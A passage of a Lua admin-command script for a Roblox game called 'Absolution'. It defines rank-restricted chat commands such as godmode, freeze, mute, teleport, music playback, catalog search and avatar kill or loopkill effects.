  5396. if #Msg == 0 then Msg = "Pong!" end
  5397. Msg = string.gsub(Msg, "", "")
  5398. Absolution.Functions.Output(Speaker, Msg, "Random")
  5399. Absolution.Functions.Out(Speaker, Msg, 1)
  5400. end
  5401. end)
  5402. Absolution.Functions.Command("Dismiss Tablets", {"dt", "dismiss", "hide"}, 0, "Dismisses Tablets", "-p (Specific Player)", function(Speaker, Msg)
  5403. if Absolution.Functions.GetSplit(Msg) == "p" then
  5404. if Absolution.Functions:findRank(Speaker) >= 4 then
  5405. Msg = Msg:gsub("-p", "")
  5406. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  5407. if #Players > 0 then
  5408. for _,v in pairs(Players) do
  5409. ypcall(function()
  5410. Absolution.Functions.Dismiss(v)
  5411. Absolution.Functions.Out(Speaker, 'Dismissed '..v.Name..'\'s tabs.', 5)
  5412. end)
  5413. end
  5414. end
  5415. else
  5416. Absolution.Functions.Out(Speaker, "Your rank is too low to use that flag!", 4)
  5417. end
  5418. else
  5419. Absolution.Functions.Dismiss(Speaker)
  5420. Absolution.Functions.Out(Speaker, 'Dismissed your tabs.', 5)
  5421. end
  5422. end)
  5423. Absolution.Functions.Command("Notification Handler", {"notif",'notifications'}, 0, "Toggles Notifications", "No Flags", function(Speaker, Msg)
  5424. if Msg:lower()=='off' then
  5425. Absolution.Functions.SetIgnore(Speaker.Name)
  5426. elseif Msg:lower()=='on' then
  5427. Absolution.Functions.StopIgnore(Speaker.Name)
  5428. end
  5429. Absolution.Functions.Out(Speaker, 'Blocking Notifications: '..tostring(Absolution.Functions.IsIgnoring(Speaker.Name)), 5)
  5430. end)
  5431. Absolution.Functions.Command("onChatted", {"@"}, 0, "Makes Another Player onChatted", 'No Flags', function(Speaker,Msg)
  5432. local Split = Msg:find("/")
  5433. local Player = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1))
  5434. local Message = Msg:sub(Split + 1)
  5435. if #Player > 0 then
  5436. for _,v in pairs(Player) do
  5437. if Absolution.Functions:findRank(Speaker) > Absolution.Functions:findRank(v) then
  5438. Absolution.Functions.onChatted(v, Message)
  5439. end
  5440. end
  5441. end
  5442. end)
  5443. Absolution.Functions.Command("Get Ranked", {"getranked", "ranked", "ranekd"}, 0, "Opens Ranked Interface", nil, function(Speaker, Msg)
  5444. Absolution.Functions.Dismiss(Speaker)
  5445. if #Msg == 0 then
  5446. Absolution.Functions.GetRankedInterface(Speaker)
  5447. else
  5448. Msg = Msg:lower()
  5449. if #Msg < 3 then
  5450. Absolution.Functions.Output(Speaker, 'Please narrow your search.','Really red')
  5451. return
  5452. end
  5453. local Number = 0
  5454. local Table = {}
  5455. for i,v in pairs(Absolution.Ranked) do
  5456. if i:lower():find(Msg) then
  5457. ypcall(function()
  5458. table.insert(Table, i)
  5459. Number = Number + 1
  5460. end)
  5461. end
  5462. end
  5463. if Number > 1 then
  5464. for _,v in pairs(Table) do
  5465. Absolution.Functions.Output(Speaker, v, nil, function()
  5466. Absolution.Functions.GetRankedInterface(Speaker, v)
  5467. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v)
  5468. end
  5469. else
  5470. for _,v in pairs(Table) do
  5471. Absolution.Functions.GetRankedInterface(Speaker, v)
  5472. end
  5473. end
  5474. end
  5475. Absolution.Functions.Out(Speaker, 'Got Ranked.', 5)
  5476. end)
  5477. Absolution.Functions.Command('Load Weapon', {'loadw','weapon','wep'}, 1, "Loads a weapon", "-w (Warrior) -r (Rogue) -m (Monk) -b (Bishop) -t (Titan)", function(Speaker, Msg)
  5478. if Absolution.Functions.GetSplit(Msg)=='r' then
  5479. Absolution.Functions.loadWeapon('Rogue', Speaker)
  5480. Absolution.Functions.Out(Speaker, 'Running Rogue LocalScript.', 5)
  5481. elseif Absolution.Functions.GetSplit(Msg)=='m' then
  5482. Absolution.Functions.loadWeapon('Monk', Speaker)
  5483. Absolution.Functions.Out(Speaker, 'Running Monk LocalScript.', 5)
  5484. elseif Absolution.Functions.GetSplit(Msg)=='b' then
  5485. Absolution.Functions.loadWeapon('Bishop', Speaker)
  5486. Absolution.Functions.Out(Speaker, 'Running Bishop LocalScript.', 5)
  5487. elseif Absolution.Functions.GetSplit(Msg)=='t' then
  5488. Absolution.Functions.loadWeapon('Titan', Speaker)
  5489. Absolution.Functions.Out(Speaker, 'Running Titan LocalScript.', 5)
  5490. elseif Absolution.Functions.GetSplit(Msg)=='w' then
  5491. Absolution.Functions.loadWeapon('Warrior', Speaker)
  5492. Absolution.Functions.Out(Speaker, 'Running Warrior LocalScript.', 5)
  5493. end
  5494. end)
  5495.  
  5496. Absolution.Functions.Command("Commands", {"cmds", "commands"}, 0, "Shows Commands", "No Flags", function(Speaker, Msg)
  5497. if #Msg>0 and tonumber(Msg) and Absolution.Ranks[tonumber(Msg)] then
  5498. Absolution.Functions.OpenCmds(tonumber(Msg), Speaker)
  5499. elseif #Msg>0 and not tonumber(Msg) and Msg:lower()=='all' then
  5500. Absolution.Functions.OpenCmds('all', Speaker)
  5501. elseif #Msg>0 and not tonumber(Msg) then
  5502. Absolution.Functions.Output(Speaker, 'That\'s not a valid number!', 'Really red')
  5503. else
  5504. Absolution.Functions.ShowCommands(Speaker)
  5505. end
  5506. Absolution.Functions.Out(Speaker, 'Got Commands.', 5)
  5507. end)
  5508. Absolution.Functions.Command("Debugger Info", {"sinfo", "serverstats", 'gstats','stats'}, 0, "Gets server stats", "No Flags", function(Speaker, Msg)
  5509. Absolution.Functions.Dismiss(Speaker)
  5510. Absolution.Handler:sendPacket(Speaker, 'TerminalOn')
  5511. for index,key in next,Absolution.Functions.getServerInfo() do
  5512. Absolution.Functions.Out(Speaker, index..' = '.. tostring(key), 2)
  5513. end
  5514. Absolution.Functions.Out(Speaker, 'Got ServerStats.', 5)
  5515. end)
  5516. -- Rank 1 --
  5517. Absolution.Functions.Command('Play Music',{'play','music','sound'}, 1, 'Plays music <id>','-n (No Music)',function(Speaker,Msg)
  5518. if Absolution.Functions.GetSplit(Msg) == "n" then
  5519. local rtn = {}
  5520.  
  5521. local function recurse(obj)
  5522. for i,v in next,obj:children'' do
  5523. if v:isA('Sound') then
  5524. table.insert(rtn,v)
  5525. end
  5526. recurse(v)
  5527. end
  5528. end
  5529.  
  5530. for q,e in pairs(rtn) do
  5531. v.Volume = 0
  5532. v:Stop()
  5533. v:Destroy()
  5534. end
  5535.  
  5536. recurse(Absolution.Services.Workspace)
  5537. Absolution.Functions.Out(Speaker, 'Music cleared!',5)
  5538. else
  5539. Absolution.Functions.PlayAudio(Speaker,Msg)
  5540. Absolution.Functions.Out(Speaker, 'Playing Audio '..Msg, 5)
  5541. end
  5542. end)
  5543. Absolution.Functions.Command('Countdown', {'cd', 'count', 'countdown'}, 1, 'Makes a countdown in the server', 'No flags', function(Speaker, Msg)
  5544. Absolution.Functions.Output(Speaker, 'Creating a countdown...', 'Random', nil, 3)
  5545. if tonumber(Msg) and tonumber(Msg) > 0 and tonumber(Msg) < 60 then
  5546. local Hint = Instance.new('Message', workspace)
  5547. for i = tonumber(Msg),1,-1 do
  5548. if not Hint and Hint.Parent.Name=='Workspace' then Hint = Instance.new('Message',workspace) end
  5549. Hint.Text = "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n[ABSOLUTION] "..i
  5550. wait(1)
  5551. end
  5552. if Hint then Hint:Destroy() end
  5553. Absolution.Functions.Out(Speaker, 'Created a countdown.', 5)
  5554. elseif tonumber(Msg) < 0 then
  5555. Absolution.Functions.Out(Speaker, 'You must think I\'m stupid. The number can\'t be negative!', 4)
  5556. elseif tonumber(Msg) > 60 then
  5557. Absolution.Functions.Out(Speaker, 'Wow nice going you stupid abuser. Don\'t play games with me! Make the number smaller.', 4)
  5558. end
  5559. end)
  5560. Absolution.Functions.Command("Forcefield", {"ff", "forcefield"}, 1, "Forcefields A Player", "-u (UnFF)", function(Speaker, Msg)
  5561. if Absolution.Functions.GetSplit(Msg) == "u" then
  5562. Msg = Msg:gsub("-u","")
  5563. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  5564. if #Players > 0 then
  5565. for _,v in pairs(Players) do
  5566. ypcall(function()
  5567. for _, v2 in pairs(v.Character:GetChildren()) do
  5568. if v2:IsA("ForceField") then
  5569. v2:remove()
  5570. end
  5571. end
  5572. Absolution.Functions.Out(Speaker, 'Removed '..v.Name..'\'s Forcefield.', 1)
  5573. end)
  5574. end
  5575. end
  5576. else
  5577. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  5578. if #Players > 0 then
  5579. for _,v in pairs(Players) do
  5580. ypcall(function()
  5581. Instance.new("ForceField", v.Character)
  5582. Absolution.Functions.Out(Speaker, 'Gave forcefield to '..v.Name..'.', 1)
  5583. end)
  5584. end
  5585. end
  5586. end
  5587. end)
  5588.  
  5589. local HTTP = game:GetService("HttpService")
  5590.  
  5591. Absolution.Functions.Command("Dictionary", {"dict","dictionary"}, 1, "Uses dictionary functions", "-e (Example) -d(Define)", function(Speaker, Msg)
  5592. local example;
  5593. if Absolution.Functions.GetSplit(Msg) == "e" then
  5594. Msg = Msg:gsub('-e','')
  5595. example = HTTP:GetAsync("https://api.apithis.net/dictionary.php?example="..Msg.."")
  5596. elseif Absolution.Functions.GetSplit(Msg) == "d" then
  5597. Msg = Msg:gsub('-d','')
  5598. example = HTTP:GetAsync("https://api.apithis.net/dictionary.php?define="..Msg.."")
  5599. end
  5600. if example == nil then
  5601. --Absolution.Functions.Output(Speaker, "Please enter a word", 'Bright blue')
  5602. Absolution.Functions.Out(Speaker, "Please enter a word", 5)
  5603. elseif example == "No example found." then
  5604. --Absolution.Functions.Output(Speaker, "Could not find data for "..Msg, 'Really red')
  5605. Absolution.Functions.Out(Speaker, "Could not find data for "..Msg, 4)
  5606. else
  5607. --Absolution.Functions.Output(Speaker, Msg..": "..example)
  5608. Absolution.Functions.Out(Speaker, Msg..": "..example, 1)
  5609. end
  5610. end)
  5611.  
  5612. Absolution.Functions.Command("Server IP", {"ip", "serverip"}, 1, "Returns Server IP", "No Flags", function(Speaker, Msg)
  5613. local example = HTTP:GetAsync("https://api.ipify.org")
  5614. if example == nil then
  5615. --Absolution.Functions.Output(Speaker, "Could not find IP", 'Bright blue')
  5616. Absolution.Functions.Out(Speaker, "Could not find IP", 5)
  5617. elseif example == "IP Not found." then
  5618. --Absolution.Functions.Output(Speaker, "Could not find data for server.", 'Really red')
  5619. Absolution.Functions.Out(Speaker, "Could not find data for server.", 4)
  5620. else
  5621. --Absolution.Functions.Output(Speaker, "Server IP: "..example)
  5622. Absolution.Functions.Out(Speaker, "Server IP: "..example, 1)
  5623. end
  5624. end)
  5625.  
  5626.  
  5627. Absolution.Functions.Command("URI Shortener", {"tinyurl",'shorten'}, 1, "Shortens an url", "No Flags", function(Speaker, Msg)
  5628. local example = HTTP:GetAsync("https://is.gd/create.php?format=simple&url="..Msg.."")
  5629. if example == nil then
  5630. --Absolution.Functions.Output(Speaker, "Please enter a name", 'Bright blue')
  5631. Absolution.Functions.Out(Speaker, "Please enter a name", 5)
  5632. elseif example == "Error: Please enter a valid URL to shorten" then
  5633. --Absolution.Functions.Output(Speaker, "URL: "..Msg..", is not valid", 'Really red')
  5634. Absolution.Functions.Out(Speaker, "URL: "..Msg..", is not valid", 4)
  5635. else
  5636. --Absolution.Functions.Output(Speaker,"URL: "..example..".")
  5637. Absolution.Functions.Out(Speaker, "URL: "..example..".", 1)
  5638. end
  5639. end)
  5640.  
  5641. Absolution.Functions.Command("Godmode", {"god", "godmode"}, 1, "Gives A Player Godmode", "-u (UnGod)", function(Speaker, Msg)
  5642. if Absolution.Functions.GetSplit(Msg) == "u" then
  5643. Msg = Msg:gsub("-u","")
  5644. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  5645. if #Players > 0 then
  5646. for _,v in pairs(Players) do
  5647. ypcall(function()
  5648. for __,vv in pairs(v.Character:GetChildren()) do
  5649. if vv:IsA('Humanoid') then
  5650. vv.Name = 'Humanoid'
  5651. vv.MaxHealth = 100
  5652. vv.Health = 100
  5653. end
  5654. end
  5655. Absolution.Functions.Out(Speaker, "Un-Goded "..v.Name..".", 1)
  5656. end)
  5657. end
  5658. end
  5659. else
  5660. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  5661. if #Players > 0 then
  5662. for _,v in pairs(Players) do
  5663. ypcall(function()
  5664. for __,vv in pairs(v.Character:GetChildren()) do
  5665. if vv:IsA('Humanoid') then
  5666. vv.Name = 'lal_its_a_humanoid'
  5667. vv.MaxHealth = math.huge
  5668. end
  5669. end
  5670. Absolution.Functions.Out(Speaker, "Goded "..v.Name..".", 1)
  5671. end)
  5672. end
  5673. end
  5674. end
  5675. end)
  5676. Absolution.Functions.Command("Freeze", {"freeze"}, 1, "Freezes A Player", "-u (UnFreeze/Thaw)", function(Speaker, Msg)
  5677. if Absolution.Functions.GetSplit(Msg) == "u" then
  5678. Msg = Msg:gsub("-u","")
  5679. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  5680. if #Players > 0 then
  5681. for _,v in pairs(Players) do
  5682. ypcall(function()
  5683. for _,v in pairs(v.Character:GetChildren()) do
  5684. if v:IsA("Part") then
  5685. v.Anchored = false
  5686. end
  5687. end
  5688. pcall(function() v.Character.FrozenBlock:remove() end)
  5689. Absolution.Functions.Out(Speaker, "Thawed "..v.Name..".", 1)
  5690. end)
  5691. end
  5692. end
  5693. else
  5694. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  5695. if #Players > 0 then
  5696. for _,v in pairs(Players) do
  5697. ypcall(function()
  5698. pcall(function() v.Character.FrozenBlock:remove() end)
  5699. for _,v in pairs(v.Character:GetChildren()) do
  5700. if v:IsA("Part") then
  5701. v.Anchored = true
  5702. end
  5703. end
  5704. local b = Instance.new("Part", v.Character)
  5705. b.Anchored = true
  5706. b.Locked = true
  5707. b.TopSurface, b.BottomSurface = 0,0
  5708. b.Color = BrickColor.new("Light blue").Color
  5709. b.Size = Vector3.new(5,10,5)
  5710. b.Transparency = 0.5
  5711. b.Name = "FrozenBlock"
  5712. b.CFrame = v.Character.Torso.CFrame
  5713. local Weld = Instance.new("Weld", b)
  5714. Weld.Name = "FrozenWeld"
  5715. Weld.Part0 = v.Character.Torso
  5716. Weld.Part1 = b
  5717. Absolution.Functions.Out(Speaker, "Froze "..v.Name..".", 1)
  5718. end)
  5719. end
  5720. end
  5721. end
  5722. end)
  5723. Absolution.Functions.Command("Walkspeed", {"ws", "speed", "walkspeed"}, 1, "Changes Your Walkspeed", "No Flags", function(Speaker, Msg)
  5724. local Split = Msg:find('/')--('/')
  5725. local Player = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1))
  5726. local Speed = tonumber(Msg:sub(Split + 1))
  5727. for _,v in pairs(Player) do
  5728. ypcall(function()
  5729. v.Character.Humanoid.WalkSpeed = Speed
  5730. Absolution.Functions.Out(Speaker, "Gave "..Speed.." walkspeed to "..v.Name".", 1)
  5731. end)
  5732. end
  5733. end)
  5734. Absolution.Functions.Command("Invisible", {"invis", "invisible"}, 1, "Makes A Player Invisible", "-u (Visible)", function(Speaker, Msg)
  5735. if Absolution.Functions.GetSplit(Msg) == "u" then
  5736. Msg = Msg:gsub("-u", "")
  5737. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  5738. if #Players > 0 then
  5739. for _,v in pairs(Players) do
  5740. ypcall(function()
  5741. for _,c in pairs(v.Character:GetChildren()) do
  5742. if c.ClassName == "Part" then
  5743. c.Transparency = 0
  5744. end
  5745. if c:findFirstChild("face") then
  5746. c.face.Transparency = 0
  5747. end
  5748. if c:findFirstChild("Handle") then
  5749. c.Handle.Transparency = 0
  5750. end
  5751. end
  5752. Absolution.Functions.Out(Speaker, "Made "..v.Name.." visible.", 1)
  5753. end)
  5754. end
  5755. end
  5756. else
  5757. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  5758. if #Players > 0 then
  5759. for _,v in pairs(Players) do
  5760. ypcall(function()
  5761. for _,c in pairs(v.Character:GetChildren()) do
  5762. if c.ClassName == "Part" then
  5763. c.Transparency = 1
  5764. end
  5765. if c:findFirstChild("face") then
  5766. c.face.Transparency = 1
  5767. end
  5768. if c:findFirstChild("Handle") then
  5769. c.Handle.Transparency = 1
  5770. end
  5771. end
  5772. Absolution.Functions.Out(Speaker, "Made "..v.Name.." invisible.", 1)
  5773. end)
  5774. end
  5775. end
  5776. end
  5777. end)
  5778. -- Rank 2 --
  5779. Absolution.Functions.Command("Private Base Teleport",{"tpb"}, 2, "Teleports a player to the Private Base", "No Flags", function(Speaker, Msg)
  5780. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  5781. for i,v in pairs(Players) do
  5782. pcall(function()
  5783. if not v.Character then v:LoadCharacter() end
  5784. if v.Character:findFirstChild'Humanoid'.Sit==true then v.Character.Humanoid.Jump = true end
  5785. v.Character.Torso.RotVelocity = Vector3.new(0,0,0)
  5786. wait()
  5787. v.Character:MoveTo(Absolution.Services.Workspace.Terrain:FindFirstChild'AbsolutionBase'.Position+Vector3.new(0,10,0))
  5788. Absolution.Functions.Out(Speaker, "Teleported "..v.Name.." to the private base.", 1)
  5789. end)
  5790. end
  5791. end)
  5792. Absolution.Functions.Command("Btools",{"bt",'btools'}, 2, "Gives u da btools!", "No Flags", function(Speaker, Msg)
  5793. Absolution.Functions.createLocalScript('TerrainBrushScript', Speaker:WaitForChild('Backpack'), 'le terrain!')
  5794. script.Bin:FindFirstChild("Building Tools"):Clone().Parent = Speaker:WaitForChild('Backpack')
  5795. Absolution.Functions.Out(Speaker, "Got btools.", 1)
  5796. end)
  5797. Absolution.Functions.Command("Search Music",{"sm","srchm","searchm"}, 2, "Searches catalog for music", "No Flags", function(Speaker, Msg)
  5798. Absolution.Functions.Dismiss(Speaker)
  5799. Absolution.Functions.Output(Speaker,'Retrieving data...')
  5800. local Audio = Absolution.Functions.GetCatalog(Msg, 9)
  5801. local Hats = Absolution.Functions.GetCatalog(Msg, 3)
  5802. local Gear = Absolution.Functions.GetCatalog(Msg, 5)
  5803. Absolution.Functions.Dismiss(Speaker)
  5804. Absolution.Functions.Output(Speaker, "Audio:\n"..#Audio, "White", function()
  5805. Absolution.Functions.Dismiss(Speaker)
  5806. for _, Data in pairs(Audio) do
  5807. Absolution.Functions.Output(Speaker, Data.Name, "White", function()
  5808. Absolution.Functions.Dismiss(Speaker)
  5809. local datasafe = {
  5810. ["Name"] = Data.Name,
  5811. ["CreatorID"] = Data.CreatorID,
  5812. ["isLimited"] = Data.isLimited,
  5813. ["Sales"] = Data.Sales,
  5814. ["Favorited"] = Data.Favorited,
  5815. ["Description"] = Data.Description,
  5816. ["IsForSale"] = Data.IsForSale,
  5817. ["Creator"] = Data.Creator,
  5818. ["Updated"] = Data.Updated,
  5819. }
  5820. for i,v in pairs(datasafe) do
  5821. pcall(function()
  5822. Absolution.Functions.Output(Speaker,i..': '..tostring(v))
  5823. end)
  5824. end
  5825. Absolution.Functions.Output(Speaker, 'Play '..Data.Name, 'White', function()Absolution.Functions.PlayAudio(Speaker,Data.AssetId) Absolution.Functions.Out(Speaker, "Playing "..Data.Name..".", 1)end)
  5826. end)
  5827. end
  5828. end)
  5829. Absolution.Functions.Output(Speaker, "Hats:\n"..#Hats, "Bright violet", function()
  5830. Absolution.Functions.Dismiss(Speaker)
  5831. for _, Data in pairs(Hats) do
  5832. Absolution.Functions.Output(Speaker, Data.Name.."\n("..Data.AssetId..")", "Bright violet", function()
  5833. for _, Child in pairs(Absolution.Services.InsertService:LoadAsset(Data.AssetId):GetChildren()) do
  5834. if Speaker.Character then
  5835. Child.Parent = Speaker.Character
  5836. Absolution.Functions.Dismiss(Speaker)
  5837. Absolution.Functions.Out(Speaker, "Got hat "..Data.Name.." ("..Data.AssetId..").", 1)
  5838. end
  5839. end
  5840. end)
  5841. end
  5842. end)
  5843. Absolution.Functions.Output(Speaker, "Gear:\n"..#Gear, "Bright green", function()
  5844. Absolution.Functions.Dismiss(Speaker)
  5845. for _, Data in pairs(Gear) do
  5846. Absolution.Functions.Output(Speaker, Data.Name..":\n"..Data.AssetId, "Bright green", function()
  5847. for _, Child in pairs(Absolution.Services.InsertService:LoadAsset(Data.AssetId):GetChildren()) do
  5848. Child.Parent = Speaker:FindFirstChild("Backpack") or Absolution.Services.Workspace
  5849. Absolution.Functions.Dismiss(Speaker)
  5850. Absolution.Functions.Out(Speaker, "Got gear "..Data.Name.." ("..Data.AssetId..").", 1)
  5851. end
  5852. end)
  5853. end
  5854. end)
  5855. end)
  5856.  
  5857. Absolution.Functions.Command('Script',{'skrip','skript','cancer','syntax'}, 2, 'Creates a new script with msg as source', 'No flags', function(Speaker, Msg)
  5858. if #Msg > 0 then
  5859. Absolution.Functions.createScript(Msg, Absolution.Services.Workspace, Speaker.Name..tick())
  5860. Absolution.Functions.Out(Speaker, "Creating normal script.", 1)
  5861. end
  5862. end)
  5863. Absolution.Functions.Command("Message", {"m", "message", "msg"}, 2, "Shows A Message", "-h (Hint) -hg (Hint Gui) -m (Message) -t (Tablets) -c (Chat)", function(Speaker,Msg)
  5864. if Absolution.Functions.GetSplit(Msg) == "h" then
  5865. Msg = Msg:gsub("-h", "")
  5866. local m = Instance.new("Hint", Absolution.Services.Workspace)
  5867. m.Text = Msg
  5868. Absolution.Services.Debris:AddItem(m, 3)
  5869. elseif Absolution.Functions.GetSplit(Msg) == "hg" then
  5870. Msg = Msg:gsub("-hg", "")
  5871. Absolution.Functions.Announce(Msg, false)
  5872. elseif Absolution.Functions.GetSplit(Msg) == "t" then
  5873. Msg = Msg:gsub("-t", "")
  5874. Absolution.Functions.Output("All",Speaker.Name..": "..Msg, "Random", nil, 3)
  5875. elseif Absolution.Functions.GetSplit(Msg) == "c" then
  5876. Msg = Msg:gsub("-c", "")
  5877. Absolution.Handler.sendChat(Msg, nil, Speaker.Name)
  5878. Absolution.Functions.Out('All', Speaker.Name..': '..Msg, 5)
  5879. elseif Absolution.Functions.GetSplit(Msg) == "m" then
  5880. Msg = Msg:gsub("-m", "")
  5881. local m = Instance.new("Message", Absolution.Services.Workspace)
  5882. m.Text = Speaker.Name..": "..Msg
  5883. Absolution.Services.Debris:AddItem(m, 3)
  5884. else
  5885. Absolution.Functions.Announce(Msg, true)
  5886. end
  5887. end)
  5888. -- Rank 3 --
  5889. Absolution.Functions.Command("Hamster Ball", {"ball"}, 3, "Gives the speaker a hamster ball.", "No Flags",function(Speaker, Msg)
  5890. if Speaker.Character then
  5891. if Speaker.Character:findFirstChild'Torso' then
  5892. local pos = Speaker.Character.Torso.Position
  5893. Absolution.Functions.MakeBall(pos)
  5894. Absolution.Functions.Out(Speaker, "Got ball.", 1)
  5895. end
  5896. end
  5897. end)
  5898. --[[
  5899. Absolution.Functions.Command("Blind", {"blnd",'nosee','bgui','blind'}, 3, "Toggles a player's blind", "No Flags",function(Speaker, Msg)
  5900. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  5901. local Status;
  5902. Absolution.Functions.Dismiss(Speaker)
  5903. if #Players > 0 then
  5904. for _,v in pairs(Players) do
  5905. coroutine.wrap(function()
  5906. ypcall(function()
  5907. Status = Absolution.Handler:sendPacket(v, 'Blind',{})
  5908. Absolution.Functions.Out(Speaker, "Blinded "..v.Name..".", 1)
  5909. end)
  5910. end)
  5911. end
  5912. end
  5913. end)--]]
  5914. Absolution.Functions.Command("Mute", {"mute"}, 3, "Mutes A Player", "-u (UnMute)", function(Speaker, Msg)
  5915. if Absolution.Functions.GetSplit(Msg) == "u" then
  5916. Msg = Msg:gsub("-u","")
  5917. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  5918. if #Players > 0 then
  5919. for _,v in pairs(Players) do
  5920. ypcall(function()
  5921. Absolution.Handler:sendPacket(v, "unmute")
  5922. Absolution.Functions.Out(Speaker, "Unmuted "..v.Name..".", 1)
  5923. end)
  5924. end
  5925. end
  5926. else
  5927. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  5928. if #Players > 0 then
  5929. for _,v in pairs(Players) do
  5930. ypcall(function()
  5931. Absolution.Handler:sendPacket(v, "mute")
  5932. Absolution.Functions.Out(Speaker, "Muted "..v.Name..".", 1)
  5933. end)
  5934. end
  5935. end
  5936. end
  5937. end)
  5938. Absolution.Functions.Command("Remove hats", {'nohats','nohat','nh','removehats','bald'}, 3, "Removes a player's hats", "No Flags", function(Speaker, Msg)
  5939. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  5940. if #Players > 0 then
  5941. for _,v in pairs(Players) do
  5942. ypcall(function()
  5943. if v.Character then
  5944. for i,v in pairs(v.Character:children()) do
  5945. if v:IsA('Hat') then
  5946. v:Destroy()
  5947. end
  5948. end
  5949. end
  5950. Absolution.Functions.Out(Speaker, "Removed "..v.Name.."'s hats", 1)
  5951. end)
  5952. end
  5953. else
  5954. Absolution.Functions.Output(Speaker, 'No players defined.','Really red')
  5955. end
  5956. end)
  5957. Absolution.Functions.Command("GetPlayerInfo", {"pinfo",'showdata','pdata','ginfo'}, 3, "Gets a players info", "No Flags", function(Speaker, Msg)
  5958. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  5959. if #Players <= 1 then
  5960. for _,v in pairs(Players) do
  5961. ypcall(function()
  5962. Absolution.Functions.ShowData(Speaker, v)
  5963. Absolution.Functions.Out(Speaker, "Got "..v.Name.."'s data.", 1)
  5964. end)
  5965. end
  5966. else
  5967. Absolution.Functions.Output(Speaker, 'Too many players!','Really red')
  5968. end
  5969. end)
  5970. -- Rank 4 --
  5971. Absolution.Functions.Command("Full Clean", {"fullclean", "fc", "fclean"}, 4, "Full Cleans The Server", '-f (Full Clean)', function(Speaker, Msg)
  5972. if Absolution.Functions.GetSplit(Msg) == "f" then
  5973. Absolution.Functions.FullClean()
  5974. else
  5975. Absolution.Functions.CleanWorkspace()
  5976. end
  5977. Absolution.Functions.Out(Speaker, "Got clean.", 5)
  5978. end)
  5979. Absolution.Functions.Command("Kill", {"kill"}, 4, "Kills A Player", "-l (Loopkill) -ul (Unloopkill) -s (Smite) -r (Respawn) -e (Explode) -w (WalkSpeed)",function(Speaker, Msg)
  5980. if Absolution.Functions.GetSplit(Msg) == "r" then
  5981. Msg = Msg:gsub("-r","")
  5982. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  5983. if #Players > 0 then
  5984. for _,v in pairs(Players) do
  5985. ypcall(function()
  5986. v:LoadCharacter()
  5987. Absolution.Functions.Out(Speaker, "Respawned "..v.Name..".", 5)
  5988. end)
  5989. end
  5990. end
  5991. elseif Absolution.Functions.GetSplit(Msg) == "s" then
  5992. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  5993. if #Players > 0 then
  5994. for _,v in pairs(Players) do
  5995. for _,i in pairs(v.Character:children()) do
  5996. if i:IsA'BasePart' then
  5997. local Sparkles = Instance.new("Sparkles",i)
  5998. Sparkles.Color = Color3.new(math.random(),math.random(),math.random())
  5999. local Ex = Instance.new("Explosion",Absolution.Services.Workspace)
  6000. Ex.Position = i.Position
  6001. Ex.BlastPressure = 1e105
  6002. i:BreakJoints()
  6003. i.Velocity = Vector3.new(math.random(-250,250),math.random(100,250),math.random(-250,250))
  6004. coroutine.wrap(function()
  6005. for b=1,5,0.5 do
  6006. i.Size=Vector3.new(b,b,b)
  6007. wait(0.01)
  6008. end
  6009. end)()
  6010. end
  6011. end
  6012. local Base=Instance.new'Part'
  6013. pcall(function()
  6014. Base.Size=Vector3.new(5,1,3)
  6015. Base.Color=Color3.new(BrickColor.new'Bright yellow')
  6016. Base.Anchored=true
  6017. Base.CFrame=CFrame.new(v.Character.Torso.CFrame.x,v.Character.Torso.CFrame.y - 6,v.Character.Torso.CFrame.z)
  6018. coroutine.wrap(function()
  6019. for i=0,1,0.1 do
  6020. Base.Transparency=i
  6021. wait()
  6022. end
  6023. Base:Destroy()
  6024. end)()
  6025. end)
  6026. end
  6027. end
  6028. elseif Absolution.Functions.GetSplit(Msg) == "e" then
  6029. Msg = Msg:gsub("-e", "")
  6030. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  6031. if #Players > 0 then
  6032. for _,v in pairs(Players) do
  6033. ypcall(function()
  6034. local e = Instance.new'Explosion'
  6035. e.Parent = Absolution.Services.Workspace
  6036. e.BlastRadius = 10
  6037. e.BlastPressure = 10000
  6038. e.Position = v.Character.Torso.Position
  6039. Absolution.Functions.Out(Speaker, "Exploded "..v.Name..".", 5)
  6040. end)
  6041. end
  6042. end
  6043. elseif Absolution.Functions.GetSplit(Msg) == "l" then
  6044. Msg = Msg:gsub("-l", "")
  6045. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  6046. if #Players > 0 then
  6047. for _,v in pairs(Players) do
  6048. ypcall(function()
  6049. if Absolution.Connections.Killing[v.Name] then
  6050. return Absolution.Functions.Output(Speaker, "You can only loopkill someone one at a time!", "Really red", nil, 3)
  6051. end
  6052. Absolution.Connections.Killing[v.Name] = v.CharacterAdded:connect(function(Character)
  6053. wait()
  6054. Character:BreakJoints()
  6055. end)
  6056. v.Character:BreakJoints()
  6057. end)
  6058. end
  6059. end
  6060. elseif Absolution.Functions.GetSplit(Msg) == "ul" then
  6061. Msg = Msg:gsub("-ul", "")
  6062. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  6063. if #Players > 0 then
  6064. for _,v in pairs(Players) do
  6065. ypcall(function()
  6066. if Absolution.Connections.Killing[v.Name] then
  6067. Absolution.Connections.Killing[v.Name]:disconnect()
  6068. Absolution.Connections.Killing[v.Name] = nil
  6069. end
  6070. end)
  6071. end
  6072. end
  6073. elseif Absolution.Functions.GetSplit(Msg) == "w" then
  6074. Msg = Msg:gsub("-w", "")
